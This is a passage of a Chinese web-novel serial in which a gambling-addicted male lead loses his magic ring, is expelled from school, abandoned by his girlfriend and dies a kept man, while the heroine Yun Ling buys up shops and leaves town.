楚胜看向自己的手,指间处,那枚戒指在昏暗的灯光下闪闪发光,似乎在诉说着它的不平凡。。
楚胜的眼中燃烧着火焰,他感到自己与众不同,拥有金手指的他,注定要在赌桌上大放异彩。
他坚信之前的商业失败只是因为没有找到正确的致富之路,而现在,这里才是他真正的舞台。
他换了一张赌桌,手中的筹码从几万开始,逐渐变成了十万、百万,越堆越高。
楚胜仿佛一个无敌的战神,从未尝过败绩。
他沉浸在周围人的惊叹和羡慕声中,完全没有注意到荷官们的低声细语和那些带有讽刺的眼神。
楚胜再次自信满满地压上一半的筹码,模仿电视剧中的大佬模样,懒洋洋地靠在椅子上,等待开盘。
然而这一次,他准备迎接大丰收时,却被荷官告知他输了。
楚胜愣住了,不敢相信这是真的。
他可是拥有金手指的男人,拥有世界上最好的运气,怎么可能输?
他捏紧拳头,摩擦着指间的戒指,强迫自己冷静下来,闭上眼睛默念:人生哪有不经历挫折的,输一次不算什么,大不了再赌几次,赢回来!
他重复着这句话,咬牙切齿地把最后一半的赌资也压了上去……
深夜时分,楚胜从赌场出来,不仅没有赢回一分钱,反而欠下了巨额债务。
上一盘他其实是赢了的,但正因为赢了,才让他更加深陷泥潭,无法自拔。每次输的时候,他都会想着在下一把赢回来,但输赢的决定权并不在他手中,而是掌握在那些他不知道的、却真实存在的开关上。
楚胜这段时间忙得像陀螺一样,他急需一大笔钱来偿还赌债、维持公司的运转,同时还要满足他不知何时染上的赌瘾。
但通过正规渠道赚钱实在太慢了,楚胜的心开始动摇,开始利用金手指进入一些不为人知的行业。
这些行业虽然来钱快,但风险极高。
幸运的是,有金手指的帮助,楚胜才能在其中逐渐崭露头角。
时间飞逝,转眼已到了高二下半学期。不得不说,男主不愧是男主,即便染上了赌瘾,楚胜也逐渐变得富有起来。
不过,他并没有剧情里那样隐忍。
他利用金手指,以极其狠辣的手段开始实施报复,那些曾经嘲笑过他的人,只要能得罪的起的,几乎无一幸免。
做完这一切,他又像是要与云灵攀比一样,非常高调地买了一栋房子,不仅如此,还有很多奢侈品。
楚胜试图通过购买与云灵相同的物品来证明自己,却未曾意识到云灵的消费远远超出了他的想象。
他以为云灵只是购买了一件小小的饰品,实际上云灵可能已经买下了整家店,那件饰品不过是附带的赠品。
楚胜的盲目攀比导致他购买了大量自己无法使用的女性物品,最终只能转送给姚姿艾。
这一行为无意中加深了他们之间的感情。
楚胜发现通过送礼可以获得异性的好感后,也尝试给黎玲送礼物,但黎玲对楚胜的礼物并不感兴趣,因为她已经被云灵养刁了。
心情不佳的楚胜回到住处后,决定去赌场释放压力。
一个通宵的赌博后,他发现自己欠下的债务已经还了大半,只剩下最后十几万的贷款。
他计划通过完成一个高佣金任务来还清债务。
然而,就在他从小巷走出时,被一队执法人员迅速制服并带上警车。
楚胜最初以为是自己赌博的事情被发现了,但当他被指控为小巷杀人案的嫌疑人时,他才意识到问题的严重性。
他被带到警局,被告知手上的戒指属于死者,这让他成为了重大嫌疑人。
警方需要取走戒指作为证据,但楚胜知道这枚戒指是他金手指的来源,他当然不愿意放手。
在一番挣扎后,楚胜最终还是无法抵抗执法人员的力量,戒指被取走。
……
楚胜是在案发后几天才来到县城的,火车站还留有他的票根,许多亲朋好友也愿意为他作证。
他有确凿的不在场证明,但因为袭警,即便洗脱了杀人嫌疑,他还是被拘留了一段时间以示警告。
那枚金手指戒指,作为破案的关键线索,被执法部门永久没收。
楚胜失去了金手指,精神变得萎靡不振。
在拘留所里,他的日子并不好过,他想尽办法想要拿回戒指,但司法部门的防护措施太过严密,他连戒指的影子都见不到。
七天的拘留结束后,楚胜准备回到学校。
他整个人恍恍惚惚,连路都走不稳,看上去既滑稽又可笑。但他没想到,这只是他噩梦的开始。
在他被拘留的那几天里,关于他的消息已经在校园里传得沸沸扬扬。
有些后台硬的学生,比如前任课代表,很快就打听到了楚胜被抓的原因——竟然和杀人案有关。
这消息一出,楚胜立刻被标记为危险人物。
这边的消息一传出,太妹们的论坛也立刻发布了相关的帖子和追加新闻。
那些新闻写手为了吸引眼球,论坛上的标题从“与杀人案有关”逐渐变成了“凶手被抓、证据确凿”。
很快,论坛因为点击量过大而直接瘫痪,花了很长时间才修复好。
楚胜的名声在校园里一落千丈,他成了众人眼中的杀人犯,即使他并没有真正犯下那项罪行。
他的未来,似乎也因此变得黯淡无光。
去年那桩案子,轰动了整个小县城,鲜少有人不知。
时隔一年多,此案忽然有了凶手的线索,众人不论信与不信,或多或少都会点进去凑个热闹。
“没想到你是这种人,你这杀人凶手,滚出学校!”
楚胜刚踏入校门,便莫名其妙地听到了这么一句话。
他抬头,憔悴的脸上带着些许疑惑,似乎想要弄清楚状况。
但随着那一道喊声,无数的视线忽然都投了过来,如同锋芒在背,盯得楚胜浑身不自在,也没心情去找是谁说的话了。
他被这些目光看得想要逃离,但还没来得及拔腿,就被人一把拉倒在地。
“撂倒了!快打他!”
也不知道是哪个起哄的人先起的头,密密麻麻的拳头和脚如雨点般砸在楚胜身上。
每一击都刻上了钻心的疼痛。
“杀人犯!”
“凶手!”
“离开学校!”
楚胜蜷缩着身子,心中只有愤怒。
他早已不是从前的他,现在也有钱了!凭什么还要这样对他!
楚胜趁着人群的空档,飞快地掏出手机,打算喊自己的心腹手下来救自己。
然而,手机刚拿出来,就被人抢了去。
“看啊,杀人犯不知道杀了谁得到的手机!”
“我认识楚胜,他家里根本买不起这样的手机,一定是抢来的!”
“就是就是!”
……
楚胜连说话都插不上嘴,最后还是学校保安出马将他救了出来。
楚胜擦了一下脸上的淤青,接过保安为他夺回来的手机,一句谢谢也不说。
手机已经在刚才的争抢中摔碎了屏幕,如今无法使用。
楚胜就着保安室的座机,准备给姚姿艾拨去一通电话,但刚上手就愣住了。
他哪里记过姚姿艾的电话号码?
好在保安那边有老师们的电话存档,要不然,可够楚胜忙活一阵的。
开着车,姚姿艾来学校接走了人。
明明全程热心帮忙的保安,却被楚胜无视得彻底,连句最基础的谢谢都没捞着。
闹剧来得突然,散得也快。
估计这段时间里,楚胜不会再轻易出现在大家的面前了。
……
每个学校都有一个不为人知的天台,这是个很神奇的地方。
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据说,不论大小纠纷,都可以在这里尽数解决,没人打扰,风景也怡人。
那为什么之前没人在这里办事呢?
主要是因为学校青春偶像剧看多后,直接把天台的门锁了,学生根本就上不去。
然而此刻。
黎玲双手搭在天台石砌的矮墙上,清爽的风让人的心情也不由得通畅许多。
她偏过头,看向身侧的云灵。
“你哪来的钥匙?”
云灵同样倚在扶杆旁,语调轻松:“要什么钥匙?我都是直接撬门。”
“……”
黎玲走到云灵旁边,顺着她的目光,很容易就看到校门口处那桩已经结束的闹剧。
“你也觉得那人是楚胜杀的?”
云灵摇了摇头。
“为什么?几乎所有人都在说他是凶手。”黎玲忽然有些好奇。
云灵能把事实说出来嘛?
显然不能。
因此,云灵换了个思路解释:“若真是楚胜杀的,警帽不可能到现在还没有动静,只关了他几天。”
……
楚胜得势的那段日子,可没少欺负同学。
除了原课代表后台太硬、动不了外,其他男同学基本每个都遭了殃。
为什么只有男同学?
这鬼知道哦!
反正风水轮流转,又到了大家翻身的时候了!
云灵每天上课时,都能听到后排同学准备整蛊楚胜的各种方案。
可惜,最后这么一大堆的整蛊方案,一个都没有起到作用。
因为楚胜被休学了。
之前那案子的影响力太大,不仅仅是学生,就连很多家长都打听到了风声。
不管消息正不正确。
他们都不希望自己的孩子和一个嫌疑犯做同学。
学校知道一些具体的情况,也相信楚胜并非杀人凶手,但相信是一回事,总不能为了楚胜一个人对抗这么多学生家长吧?
这些说隐晦一点就是学生家长。
说明白一点,这就是学校的衣食父母啊!
跟衣食父母对着干,还走不走活路了?
迫于压力和社会舆论,学校经过慎重的考虑,决定先让楚胜休学。
休学并不等同于退学,等风头过去了,学生依旧可以继续回来上课,还会得到一定的补偿。
但楚胜不这么认为。
他觉得自己受到了莫大的委屈和侮辱,对休学的决定极为不满。
甚至找到班主任,和班主任动起了手。
云灵路过的时候,正巧赶上这样一幕。
云灵发挥见义勇为的高尚精神,以保护班主任的名义,对着楚胜就是一脚踹过去。
楚胜身为男主,从云灵出现开始就已经注意到了她,怎么可能还会被偷袭得手?
未免也太小看他了。
楚胜邪魅一笑,身体灵敏的一闪……
“砰!”
楚胜踉跄了一下,捂着某个部位,邪魅的笑容僵在嘴角,脸色绿的吓人。
云灵贴心地又补了一下。
剧痛终于让楚胜邪魅的笑容彻底崩塌。
楚胜怨毒的眼神落在云灵身上,却在对方目光转来之前,迅速收敛得无影无踪。
另一边,班主任无语望天,眼神中带着无尽的幽怨。
他不过是个手无缚鸡之力的教书匠,为何要经历这些风波?
越想越觉得自己可怜,班主任在心底给自己打气。
稳住!不哭!
班主任深吸一口气,板着脸,将头扭向云灵:“这事,您说要怎么处置!”
“你问她做什么?你才是班主任啊!”楚胜扭曲的表情中,透出一丝不可置信。
难道云灵在学校已经只手遮天了?连班主任都要听她的?
无视楚胜的质问,云灵对班主任道:“你看他这样子,像不像是街边混进来挑事的小流氓?”
班主任托着下巴,仔细思考了一番:“有点。”
“那对小流氓怎么做?”
“让保安将人请出去……”班主任有些迟疑。
毕竟楚胜是学生,又不是街边的小流氓。
班主任觉得这样做有些不妥。
刚想开口为楚胜求情两句,就见地上的男生狠狠朝他吐了口唾沫,还低声骂了句。
“狗腿子!”
班主任:“……”
班主任面无表情地摸出电话,喊保安过来拖人。
两个保安很快赶到,将还瘫在地上的楚胜架走,任凭楚胜再怎么咒骂也无动于衷。
之前帮楚胜抢回手机的那位保安,也在其中。
78. 种马世界
这位平日里还算温和的保安不知道吃错了什么药,动作一点都不温柔,膝骨更是不小心撞到楚胜的伤处好几次,惹得后者痛呼连连。
最后,他还串通同伴,直接把楚胜扔出了学校。
这个扔,真的是字面意思上的扔。
楚胜的臀部又一次遭了秧。
“啊!”
姚姿艾一直在校门口等着,忽然被楚胜的叫声给吓了一跳,抬头,就看见楚胜姿态狼狈地侧躺在地上,努力地撅着自己的臀部,不让其落地。
不远处,还有两个保安勾肩搭背,潇洒离开的背影。
姚姿艾快步走上前,在楚胜不停的‘住手’‘不要碰那个地方’的声音中,将人搀扶上车。
“那些该死的看门狗。”
楚胜此刻毫无形象地趴在车的后座上,拳头狠狠捶着座椅,“老子迟早让他们都付出代价。”
楚胜之前有多可怜,富裕后就有多嚣张,哪里还记得人家曾经帮过自己?
他现在满脑子都是保安那张装满嫌弃的脸。
万分痛恶。
“学校还没收回休学通知吗?”姚姿艾有些担心。
楚胜现在这个样子,让她有些害怕,不知道说什么才好。
总不能说,你撅着臀部的样子真性感吧?
也太变态了。
沉浸在仇恨中的楚胜,双目通红,此刻被姚姿艾的声音唤回神,也不见怒火有平息的迹象。
他抹了把脸上的泥:“哼,别再跟我提这破学校,以后就算求着老子去上,老子也不上!”
居然丢人丢到自己女人跟前,他不会就这么轻易算了的。
楚胜揉着自己被撞到青紫的地方,怨毒地视线透过车窗,直直地投向学校。
“姿艾。”
“恩?”
“帮我办退学手续。”
“你……要退学?”姚姿艾有些犹豫,身为一名助教,她再糊涂也知道学历的重要,现在说不读就不读,以后万一后悔了呢?
她劝解:“先想清楚再……”
“我自有打算,你现在就去帮我办!快去,别耽搁时间。”楚胜指挥的理直气壮,就好像姚姿艾不是他的女人,而是他的下属一般。
姚姿艾听言,脸色不由微变,不是因为楚胜的退学,而是他的态度。
姚姿艾没有再犹豫,直接下车去帮楚胜办退学手续。
班主任没想到自己前一秒还在为这件事发愁,后一秒姚姿艾就带来了这样的惊喜。
毕竟学生自动退学,舆论的风波自然不会波及学校,家长们的诉求也终于得到了满足。
如此一来,学校的声誉和立场都得以保全。
班主任脸上的笑容堆得满满的,几乎片刻都没有耽搁,签上自己的名,再呈交校长签名盖章,就差没列队欢送了。
这番举动,也代表着学校彻底和楚胜划清了界限。
校门外。
楚胜一动不动地坐在车窗里,一阵凉风吹过,让他的思绪也逐渐冷静下来。
这一冷静,他才想起自己刚刚都做了些什么。
他……居然让姚姿艾帮自己退学了!
当年他为了考上这所学校,不知道花费了多少心思,现在居然一怒之下,退学了?
楚胜忍着身体上的剧痛,推开车门跑下车,只希望能赶在退学手续办完之前阻止。
但可惜他还是低估了班主任的办事效率,也高估了自己的忍耐力。
就在他一瘸一拐地,离学校大门口还差一步之遥的时候,姚姿艾就抱着一堆资料出现了,见到他,还弯弯唇角:“办好了。”
楚胜如遭雷击:“已经退了?”
“是啊,签了好几份协议呢,都在这。”楚胜的笑容依旧,似乎没琢磨出楚胜这句话的意思。
然而还不等她琢磨透,就见楚胜仿佛没了病痛,一个箭步上前,结结实实地一耳光扇在了她的脸上。
那一耳光,手劲带风,还伴随着男人的怒吼。
“你一个助教,不知道退学对一个学生而言意味着什么吗?你就这样草率地给我退学?”
就算比楚胜大好几岁,姚姿艾也终归只是个女孩,此刻被他的力气掀倒在地,零零散散的资料散落了一地,被打的那半边脸,也以一种极为快速的速度,肿胀起来。
“啊……”姚姿艾惊呼一声,朝楚胜望去的眼神十分不可置信。
楚胜大脑也有一瞬间的当机。
好像自从染上赌瘾开始,自己的心情就一直很浮躁,仿佛有什么东西一直在他脑海中叫嚣着,怂恿着他去放肆……
楚胜握了握掌心,感觉到了一股由震动引发的麻感。
连他都觉得疼,更别提被打的姚姿艾了。
当机立断,在姚姿艾还没来得及说出什么之前,楚胜扑通一声就跪倒在了她的面前。
“我错了,对不起,我太慌了,我也不知道为什么会这样……”
说话间,眼泪恰到好处地滑落。
一个孤苦伶仃的男孩子跪在地上,白皙俊朗的脸上满是茫然和无助,让人心生怜悯。
但姚姿艾保持沉默。
一个不把对象当对象的人,一个打对象的男人,已经彻底冷了她的心。
前段时间,楚胜买了套房,可那房子,早就过继给了姚姿艾,从法律上讲,他现在仍只是一个寄住者,保不准这一巴掌就把自己打的居无定所了。
他绝不能被赶出去。
失去金手指后,他本就一无所有,还背负着一大堆日益增多的债务。
眼见姚姿艾没有像以往那般体贴的反应,忐忑不安的江文林,决定再添把火。
伤处一掐,眼泪立马变得更加汹涌澎湃。
“从小到大我都是独自一人,若非遇见了你,在这样的环境中,我可能早就活不下去了。可我……现在就连读书的资格都没有了,还怎么给你未来?”
姚姿艾已经做好了决定,但现在,她终究还是扶起了楚胜,毕竟,她决定离开楚胜,背后的动作,就不能让他发现。
姚姿艾被擦破的丝袜上还沾着小血珠,零零散散的,看上去,比跪着的楚胜不知道要惨多少。
原本处在受害者位置上的她,现在反过来轻声安慰对方。
“明天……明天我再去趟学校,帮你看看能不能撤回退学申请,毕竟今天才签,应该还来得及。”
顺着姚姿艾的力道站起身,楚胜强忍着伤痛,作出一脸伤感:“我怎么好忍心让你操劳?”
视线扫到女人脸上那块红肿时,又有些不自然地移开了眼。
他应该……没用那么大力气吧?
楚胜陷入了无尽的愧疚中。
但事实证明,有些男人的愧疚是维持不了多久的,就比如某人,嘴上说着不忍心,结果第二天天还没亮就开始无病呻吟,疯狂地明示暗示,让姚姿艾帮他去处理那个退学手续。
但木已成舟,于事无补。
楚胜还是被退学了。
校长的章可不是白盖的,那一整套退学手续,为的就是防止某人事后后悔。
几张协议签下来,楚胜再无返校的可能。
为这事,楚胜气闷了好几天。
虽然嘴上说没关系,但总会时不时地在生活琐事中乱发脾气。
这种态度,也让姚姿艾的私下动作,加快了脚步。
退学后没多久,楚胜名下最后一块运营体制也倒闭了。
他从一个失学者。
变成了一个失业兼失学者。
茫然几天后,最终也只是瘫在家里,无所事事。
每天就打打游戏,要不然就是等着姚姿艾回来给他做饭吃。
日渐颓废。
就在楚胜逐渐快要适应这种空虚却算不上太差的生活时,一伙人毫无预兆地找了上来。
连声招呼都不打,就直接开始动手砸门敲窗。
任凭楚胜说什么都不停止。
更可怕的是,这群人似乎有房子的钥匙,直接走的正门。
进了房子,这群人就开始到处搜刮,把家里值钱的东西能带走的都带走,搬不走的,就拿一块白布盖了起来。
俨然一副土匪架势。
不一会,整个房子都盖满了白布,莫名让人觉得有些惊悚。
“你们这是私闯民宅!我可以报警抓你们!”
楚胜拦住几个人盖白布的动作,指着他们的鼻子,大声训斥道。
但对方毫不畏惧。
强壮的胳膊一掀,楚胜便被扫到了一边。
该盖白布的地方,还是盖上了白布。
可能是存在感太强,最后,楚胜本人也被他们赶了出来。
这番变故,是江文林完全没有预料到的。
顶着鸡窝头、一身睡衣的他站在大街上,还有些发愣。
到底是谁要这么对自己……
自己这段时间,只是安安分分跟姚姿艾过日子,从未得罪过任何人。
他想来想去,也决计猜不到姚姿艾已经把房子卖了,直接选择出国。
至此,三位剧情女主之一的姚姿艾,成功被楚胜造没了。
云灵在神祇宝典的提醒下得知这事,不由暗赞姚姿艾聪明,及时止损。
这样的狗男人,不要也罢?
这才是女主的正确打开方式。
……
片刻后,楚胜像是想到了什么,恶狠狠地扭头,朝云灵住的地方走去。
这片房区分为豪宅区和民宅区。
楚胜当初为了和云灵攀比,也是想尽千方百计才在豪宅区买了一栋房子。
他买不起云灵那么中心的房子,但好歹买的是同一个区的,走上半小时也就到了。
豪宅区的清晨格外宁静。
大家都还在梦乡之中。
可就在这时,最中间的一家豪宅的大门口,铁门被接二连三的砸响,声音
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的穿透力极强。
也极其扰民。
就在楚胜准备继续砸下去的时候,里面的门开了。
隔着铁门,黎玲站在那里,脸色格外冷漠:“大清早的,有病?”
楚胜要说的话忽然哽在了喉咙里。
在他印象中,楚胜虽然是个冰冷性子,但为人处世却十分礼貌,这一言不合开口就怼人……
“这不是云灵的房子吗,她人呢?”楚胜站直身体,努力让自己看上去不那么狼狈,“我找她有事。”
“她不在。”
“那她去哪了?”
“距她离开,已经过去好几个小时,你去富人街那边逛逛,说不定能找到她。”
说完这一大段话,黎玲又冷着脸加上句:“这铁门是提炼精铁打的,若是有一点损坏,你就准备赔的倾家荡产吧。”
楚胜愣了一下,随即恼羞成怒:“怎么可能会有人用精铁打铁门!”
精铁是什么东西?
那么贵,怎么可能用来做门,疯了吗!
黎玲面无表情地指了指自己脚下的垫脚石:“翡翠。”
又指了指旁边的一大片台阶。
“都是。”
楚胜:“……”
楚胜想换个衣服再去富人街,但房子已经没了,他所有的衣服都在里面,现在只有身上这套,已经穿了好几天没有洗换的睡衣。
犹豫再三后,楚胜还是动身前往富人街。
他撕了睡帽,用布片遮住自己的口鼻,想着,这样起码别人不会知道他是谁,还能留存最后的几丝面子。
富人街是这个小县城里面唯一看上去上台面的地方,就如同它的名字,在里面逛的都是有钱人,里面的东西也都贵的离谱。
大家穿着或华丽或低调的衣服。
但不例外的,都很贵。
不……偶尔还是有例外的。
就比如现在的楚胜。
他藏头露尾地混迹在富人们的群体中,不论是气质还是服饰都显得格格不入,充分表达出了另外一种形式的显眼。
“这人谁啊怎么穿成这样。”
“你认识吗,这是谁家的?”
“不知道,还蒙着脸呢,该不会是什么恐怖分子吧。”
“太吓人了,赶紧往旁边躲躲。”
……
楚胜听到耳边那些闲言碎语,自尊心像是被撕裂般的难受。
但他又能如何?
他只能假装成没听见的样子,继续在人群中搜索目标。
终于,就在他崩溃到快要放弃的时候,总算找到了云灵的身影。
云灵走在最前面,身后跟着一个像是导游的女孩。
云灵走两步就停了下来,指着一家店:“那个可以,买!”
“云小姐,那是人家的镇店之宝,不卖的……”
云灵语调一如既往:“加钱!”
导游:“……”
导游:“云小姐,我劝你还是不要惹事,这家店的主人可不简单。”
“能有多不简单?棺材缝里蹦出来的?”
云灵抬腿就朝那家店走去。
这话说的实在难听,导游皱了皱眉,还是硬着头皮跟了上去。
然而一番加价下来。
“不卖!”大约四五十岁的女人坐在掌柜的位置,拒绝地毫不迟疑。
“这是我们祖上传下来的铺子,虽然现在生意不景气,但说真的,你加的这些钱,我还真没放在眼里。”胖女人哼哼了两下,脸上的肥肉随着她的动作一抖一抖。
在这时,那位导游才知道,云灵要买的不是所谓的镇店之宝,她想买的,是人家整个店。
但这操作确定没问题吗?
这人来人往的富人街,愣是没有一个人进这家店,看室内的干净程度,估计她们还是这家店今天的第一批客人。
这家店的生意何止是不景气啊,简直就是无人问津!买了妥妥的亏本。
这云灵看上去豪气万千的,该不会脑子不好使吧?
导游有些担忧。
但云灵可看不出一点担忧。
她站在柜台前,“你还有一次重新选择的机会。”
……
十分钟后,云灵带着店铺的转让协议和导游从后门离开,独留胖女人一边抽泣着一边收拾东西。
胖女人的脸色十分苍白,眼神还有些惊魂未定。
她觉得,自己刚刚见鬼了!
要不然,怎么会看见自己死了好久的老妈,站在自己跟前,趾高气昂地要自己把铺子卖掉。
不是说祖传的铺子不能卖的吗!
嘤嘤嘤,好可怕!
从云灵进去开始,楚胜就一直守在门口。
约莫是一直没有看见云灵出来,就想进去找她。
为防止云灵认不出自己,楚胜在进店之前,还特意摘掉了脸上的那块布,深呼吸一口气。
“云灵!”
79. 种马世界
忽如其来的喊声吓得胖女人一个机灵,她从柜台上探出头,看见的就是一个满面通红,长相白俊的男生站在门口,正四处张望着。
云灵?
不就是刚刚那个女生吗?
签字的时候,协议书上是这么写的。
想到自己失去的店,胖女人一阵肉痛,眼睛一转,看向楚胜。
一来就指名道姓。
这人,该不会是刚才那小女生的男朋友吧?
“如果你问的是一个叫云灵的女生,她刚刚从后门走了。”胖女人回答地面无表情。
在听到这个回答后,楚胜也是脸色僵硬。
他在门口等这么久,她居然一声不响地从后门走了?
他那么多台词,都白准备了!
估摸是见他表情不对劲,胖女人又问了句:“她是你女朋友?”
“才不是!”楚胜猛地抬头,一口否决。
没注意到他这句话出口后,胖女人看他的眼神忽然多了些什么。
“我就说嘛,你年纪轻轻的,别在一棵树上吊死,那女生虽然长得漂亮,但有什么用呢,要找,还不是要找个富……爱你的。”胖女人忽然莫名其妙说了这么一段话,东西也不收拾了,半个身子探出柜台,给楚胜递过去一张名片。
楚胜下意识地接住。
“想好了可以给我打电话。”胖女人慢悠悠地开口,抱着自己收拾好的东西走到门口,抬脚准备离开。
半响,又像是想到了什么,折转回来。
“只是下次见面,希望你能注意自己的打扮。”
胖女人嫌弃的目光在楚胜身上转了一圈。
虽然她挺喜欢标新立异的男孩子,但大白天穿一身睡衣上街……更像是神经病。
尤其是在这富人遍地的地方。
只会觉得丢人。
胖女人的语气和动作都莫名其妙的,等楚胜反应过来,店子里就只剩下他一个。
他手上的那张名片,显然就是那胖女人本人,上面写着xx房地产的老板,充满了金钱的味道。
楚胜哪怕再反应迟钝,也能大概猜到是怎么回事,顿时脸上一阵红一阵白,捏着名片又不知道该如何是好。
按理说,他本该丢掉这张名片,再狠狠地踩上两脚,可想到自己目前的处境,这张名片就跟狗皮膏药似的,怎么都甩不掉。
楚胜环顾周围,趁着没人,飞快地将名片装进裤子口袋。
可能是因为心虚,为了缓解这种尴尬,他还故意小声嘟囔了句:“这做生意的,走了怎地连门都不关。”
随后便头也不回地离开了富人街。
在楚胜离开后不久,刚才那个导游才匆匆赶来,黑着脸开始锁门。
玻璃门锁好后,外面还有层卷帘门。
铁质的卷帘门可不好锁,光是拉下来就要花费不少力气,从小娇养长大的导游哪里干过这种体力活,等锁好门,早已经香汗淋漓。
“这雇主还真是个不省心的。”
她收好钥匙,身形伴随着抱怨声朝一个方向快步离去。
一上午过去,收获颇丰。
中午,给导游结账完,又给了一笔价格不菲的红包,云灵就离开了,还带着好几家店铺的钥匙,满载而归。
见她回来,黎玲出来开门。
“上午有人来找你。”
“嗯。”云灵径直换鞋走进去,也不问是谁,往沙发上一扑,姿势跟优雅沾不上半分关系。
黎玲早已经习惯,贴着她旁边的沙发坐下,没有再提楚胜的事情。
因为两家离得近,黎玲又没什么朋友,就老喜欢往云灵这边跑,做起了长居客,甚至与云灵同睡同起。
不见云灵反对,久而久之,黎玲的存在就被默认了下来。
云灵不反对,另一位作主的杨柳默认,黎玲待得心安理得,狠不得把家都搬过来。
可以说,黎玲和云灵除了没有谈对象这事之外,其余的时候,都像是一对情侣,你见过哪个闺蜜同学,天天腻歪在一起,同睡一张床的嘛?
……
时间,就这样平静地悄无声息流逝。
楚胜终于查清楚,那房子,是被姚姿艾卖了。
楚胜哭都没地方去哭。
反应过来后,楚胜只觉得女人的感情真的不可靠,富裕时对自己千依百顺的,等落魄了,就迫不及待地离开自己。
楚胜气急败坏地找到学校。
保安还是那个保安,见楚胜出现后,不仅没有行方便让他进去,还特意拿了根警棍守在学校大门口,说什么要坚决抵制‘外来恶势力’带坏他们学校的学生。
见鬼的恶势力!
楚胜气得爆炸,但又无可奈何,只能在保安的虎视眈眈之下,站在一旁等学校放学。
谁知他千等万等,没等到姚姿艾,反而等来了另外一群学生。
“你们做什么!这里可是学校!”楚胜惊叫一声,挥开几只抓向自己的手。
站在最前面的男生冷冷一哼:“你还知道这是学校?你之前干的,是个学生该干的事情?”
指的是楚胜欺凌他们的那几次。
这群孩子可记仇的紧,再加上楚胜现在明显的落魄样。
此刻大仇不报,更待何时?
难道真的躲不掉了?
楚胜有些绝望地环顾四周,忽然看到了在门口守着的保安。
“叔救命!”
这个时候知道要叫叔了?保安淡淡看他一眼,对那群学生一吼:“别在学校门口,要玩边玩去。”
这句看似帮了楚胜的话,让后者透心凉。
果不其然,那群男生也没当回事,笑嘻嘻地应了句好,就将楚胜往旁边拉。
楚胜一个人哪里抵得过这么多人?
很快就被拖离了校门。
……
深夜,楚胜独自一人跌坐在电线杆下,双目无神。
那群学生其实没对他做什么。
他们还留存着那份底线,就单纯的吓唬吓唬,吓唬完就都心满意足的回去了,远没有自己当初对他们做的那么过分。
可那种任人宰割的无力感,真不好受。
钱……
他需要钱……
楚胜第一个想到的就是姚姿艾。
但他忽然发现,除了学校,他居然想不到其它能找到她的地方。
他甚至,根本不知道姚姿艾家住在哪。
楚胜狠狠地拔起手边的草,胡乱丢了出去。
他早该知道,这女人说不定一直在防着他,什么跟父母吵架回不去,统统都是骗人的!为的就是躲开现在这个落魄的他。
但找不到姚姿艾,他能去哪里弄钱呢?
抢劫?
自己这小身板,不被抢都是好事。
偷窃?
什么技术都没有,保不准到时候又被关进局子里,也没人捞自己出来。
走投无路的楚胜,忽然想起了什么。
他在身上摸了摸,翻出了当初在富人街的时候,那胖女人留给自己的名片。
亏得名片是塑料材质的,才能放这么久也没起皱模糊,上面xx房地产老板几个大字镀了金粉,格外显眼。
拿着名片,楚胜满大街逛了几圈,终于捡到几个硬币,用公共电话亭,照着名片上的号码拨了过去。
话筒嘟了两声,很快被接通。
“喂!”
接电话的是一道女声,不耐烦中带着点鼻音,光是声音,就能听出来对方肯定吨位不小。
现在大半夜的,吵到别人睡觉,有好语气才有鬼了。
楚胜显然也清楚这一点,但……他已经无法再继续忍受下去了。
深呼吸了一口气,最后说出来的话却极为小声。
“我……我是那次进你店里的那个……睡衣。”
“谁?”对方好像还没睡醒,好一会才想起来:“是你啊,怎么样,考虑好没?”
那头语气明显比最开始好上不少,楚胜提着的心也终于放下了大半。
“我考虑过了,同意在有限的原则上做你男朋友……”
“嘟嘟——”
“喂?喂!”楚胜站在电话亭内,呆愣住。
怎么挂了?
楚胜又拨了回去,对方的声音很明显没有之前那么和善。
“你是没睡醒吧?还男朋友……真是想太多,老娘要的到底是什么,相信你自己心里也应该明白,想清楚了再打给我。”
隔着电话线,楚胜甚至能听到她那边有少年轻轻喘息的声音。
一下子有些脸色僵硬。
“我……再想想。”
这次,不用对方,楚胜就自己挂掉了电话。
抱着自己的膝盖,楚胜缓缓埋下头。
他一直以为,对方只是想要男朋友而已,却没想到,居然……
这和做那个有区别吗?
楚胜可以忍一个比他大、长得不佳但十分有钱的女朋友,但还无法接受自己变成一个富婆的玩物。
楚胜一直在电话亭呆到天亮。
早上,肚子发出抗议的声音,该吃东西了。
楚胜摸着肚子,朝街边走去。
“老板,这可以试吃吗?”楚胜装模作样地询问。
老板一点也不客气:“试吃个屁,我这包子一个就是两块钱,给你试吃了谁还买?你爱要不要,别挡着我做生意,起开!”
被这样对待,楚胜气的想打人。
他也曾家财万贯。
若不是如今落魄了,谁看得上你这低劣的包子?
楚胜刚想发作,目光扫到自己空荡荡的指间,忽得沉默片刻,一言不发离开。
早上很快过去。
一整条街,居然没有一家店开放试吃的业务。
楚胜饿着肚子回到电话亭,坐在里面闭上眼,沉沉地睡了一觉。
睡着的时候感觉还好,但醒来后,还是会饿。
傍晚。
饿得受不了的楚胜又去街上溜达了一圈。
对那些饭店的招工启示视而不见,满大街找着能免费填饱肚子的地方。
太阳下山。
一无所获的楚胜又回到了电话亭。
刚进去,外面就下起了暴雨。
幸亏现在手机遍布,没什么人会用到电话亭,要不然,楚胜怕是连个避雨的地方都没有。
抱着膝盖躲在电话亭内,楚胜想了很久,最终还是拨过去了那个号码。
“我做。”楚胜听到自己颤抖的声音。
他本就长得俊秀小生,再说了,作为一个种马文男主,那方面定然差不到那里去。
不过几天时间,他就代替了原来的少年,成为了富婆的心尖宠。
富婆被哄地高兴,自然乐的借钱给他。
拿着用尊严换来的钱,楚胜又去赌。
在他心里,只要发达了,就马上踹开那个死肥婆,他要的,是纸醉金迷的生活,而不是做女人的玩物。
想法很美好,现实很骨感。
楚胜又一次输光了手头的钱。
他不服气,又去了富婆的住处……
甚至随着楚胜赌瘾的加深,他去的次数也越来越频繁。
富婆之间也互相有来往。
很快,楚胜没有靠赌术发家致富,而在富婆界闯出了名堂。
三十几岁时,身形消瘦的他,死在了富婆的床上。
…
高考之前,云灵带着黎玲离开了县城,两人包了一辆私人飞机周游世界。
她之所以离开,完全是被迫的。
杨柳不仅想要她高考,还想要她读大学,简直恶毒至极。
所以,被安排得明明白白的云灵跑了,完全不给机会。
走之前,她恶狠狠的警告杨柳,“离班
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主任那个狗男人远点。”
到了国外,云灵给杨柳寄回了资产赠送协议,其中就包括当初在富人街买下的十家店铺,还有国外银行存款五十个亿。
杨柳想得到这笔钱,唯一的要求就是,远离想要勾引她的班主任。
天降财富,杨柳想都没想,直接签字。
